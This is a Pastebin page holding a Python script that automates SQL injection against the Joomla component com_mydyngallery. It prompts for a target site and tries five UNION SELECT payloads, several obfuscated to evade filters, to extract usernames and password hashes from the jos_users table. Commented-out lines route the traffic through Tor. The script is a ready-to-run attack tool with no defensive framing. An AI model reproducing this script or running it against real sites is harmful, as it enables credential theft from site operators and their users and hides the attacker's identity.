Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import sys
- import time
- import socks
- import socket
- import requests
- success = False
- notvalid = [' ','<','>','{','}','[',']','(',')',';','"','\n','\r','\t','&','\'','\\','/','?','=',',']
- target = ""
- i = 0
- def chk_success():
- global i
- if(success):
- print "[+] Exploit succedeed!"
- sys.exit(0)
- i += 1
- def exploit(path,query):
- global i
- global success
- global target
- try:
- url = "%s%s" %(target,path)
- print "\n[*] Running #%i-way exploit (query=\"%s\", path='%s')\n" %(i,query,path)
- r = requests.get(url, headers=headers, timeout=20)
- if(r.status_code == 200 and r.url == url):
- url = "%s%s%s" %(target,path,query)
- r = requests.get(url, headers=headers, timeout=20)
- if("::::" in r.text):
- s = r.text
- for x in range(0,len(s)-4):
- if(s[x] == ':' and s[x+1] == ':' and s[x+2] == ':' and s[x+3] == ':'):
- if(success is False):
- success = True
- user = ""
- passwd = ""
- k = x-1
- while(k >= 0 and s[k] not in notvalid):
- user += s[k]
- k -= 1
- user = user[::-1]
- k = x+4
- while(k < len(s) and s[k] not in notvalid):
- passwd += s[k]
- k += 1
- x = k
- if(len(user) > 0 or len(passwd) > 0):
- print "-------------------------------------------------------------------------------------"
- print "[+] Username: %s" %user
- print "[+] Password: %s" %passwd
- print "-------------------------------------------------------------------------------------\n"
- except:
- print "[-] %i-way exploit not applicable." %i
- # Uncomment if you want to run the exploit through TOR
- #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9150)
- #socket.socket = socks.socksocket
- print "\n/*================================================================*\\"
- print "| Joomla! com_mydyngallery Automatic SQLi exploit (Multiple ways) |"
- print "| Author: D35m0nd142 |"
- print "\*================================================================*/\n"
- target = raw_input("Enter the target (ex: 'http://site/joomla_path/') -> ")
- if("http" not in target):
- target = "http://%s" %target
- if(target[-1:] == '/'):
- target = target[:-1]
- headers = {'User-Agent':'Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16'}
- i = 1
- path = ["/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1","/index.php?option=com_mydyngallery&directory=1"]
- queries = ["' union select 1,2,3,group_concat(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 from jos_users`",
- "' /*!00000union*/ select 1,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 /*!from*/ jos_users`",
- "'%20/*!00000union*/%20select%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%20jos_users`",
- "'%20/*!00000union*/%23MadMan%0aselect%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%23MadMan%0ajos_users`",
- "'+union+select+0,1,2,concat(0x3C703E,username,0x3a,0x3a,0x3a,0x3a,password,0x3C2F703E),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users/*"]
- for query in queries:
- if(i < 5):
- exploit(path[0],query)
- else:
- exploit(path[1],query)
- chk_success()
- print "[-] Exploit not succedeed."
Add Comment
Please, Sign In to add comment